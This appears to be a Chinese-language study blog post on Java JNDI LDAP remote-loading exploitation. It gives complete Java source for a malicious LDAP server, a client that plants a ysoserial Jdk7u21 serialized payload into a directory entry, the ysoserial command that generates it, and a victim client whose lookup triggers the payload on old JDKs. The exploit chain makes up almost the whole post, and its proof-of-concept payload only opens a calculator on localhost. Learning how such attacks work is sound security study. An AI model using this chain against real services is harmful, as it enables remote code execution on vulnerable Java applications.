JAVA远程加载利用学习二:lookup LDAP 利用

这节引入了 LDAP服务。通过JNDI (Java Naming and Directory Interface) 来lookup LDAP服务,造成加载远程类。

恶意的LDAP服务

创建一个LDAP服务:
com.hans.ldapServer.LDAPRefServer

package com.hans.ldapServer;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main(String[] args) throws IOException {
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);

            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

向LDAP服务注入恶意Object:
package com.hans.ldapServer.LDAPServer1

package com.hans.ldapServer;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.ModificationItem;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.Hashtable;

public class LDAPServer1 {
    public static void main(String[] args) throws NamingException, IOException {
    	System.out.println("Working Directory = " +
                System.getProperty("user.dir"));
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        DirContext ctx = new InitialDirContext(env);

		// 暂时没用上
        String javaCodebase = "http://127.0.0.1:8000/";


        byte[] javaSerializedData = Files.readAllBytes(new File("resources/Jdk7u21_calc.ser").toPath());

        BasicAttribute mod1 = new
                BasicAttribute("javaCodebase", javaCodebase);
        BasicAttribute mod2 = new
                BasicAttribute("javaClassName", "DeserPayload");
        BasicAttribute mod3 = new BasicAttribute("javaSerializedData",
                javaSerializedData);
        ModificationItem[] mods = new ModificationItem[3];
        mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
        mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
        mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
        ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
    }
}

ysoserial生成一个payload,放到resources目录下:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser

受感染的 Service

com.hans.weblogicLdapExploit.Payload

package com.hans.weblogicLdapExploit;

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;

import java.util.Hashtable;

public class Payload  {

    public final static String JNDI_FACTORY = "com.sun.jndi.ldap.LdapCtxFactory";
    public final static String url = "ldap://localhost:1389";
    public static void main(String[] args) throws Exception {
    	/*
		    原子名是一个简单、基本、不可分割的组成部分
		    绑定是名称与对象的关联,每个绑定都有一个不同的原子名
		    复合名包含零个或多个原子名,即由多个绑定组成
		    上下文是包含零个或多个绑定的对象,每个绑定都有一个不同的原子名
		    命名系统是一组关联的上下文
		    名称空间是命名系统中包含的所有名称
		    探索名称空间的起点称为初始上下文
		    要获取初始上下文,需要使用初始上下文工厂
    	 * */
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);

        DirContext ctx = new InitialDirContext(env);
	    
        Object local_obj = ctx.lookup("uid=hans,ou=employees,dc=example,dc=com");
    }
}

为了触发漏洞,这个受感染的Service必须要用JDK7U21及其以下版本的JDK。
除了LDAP,这些对象还可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA)或域名服务(DNS)。
360最近正好有研究CORBA :

https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558

Leave a Reply

Your email address will not be published. Required fields are marked *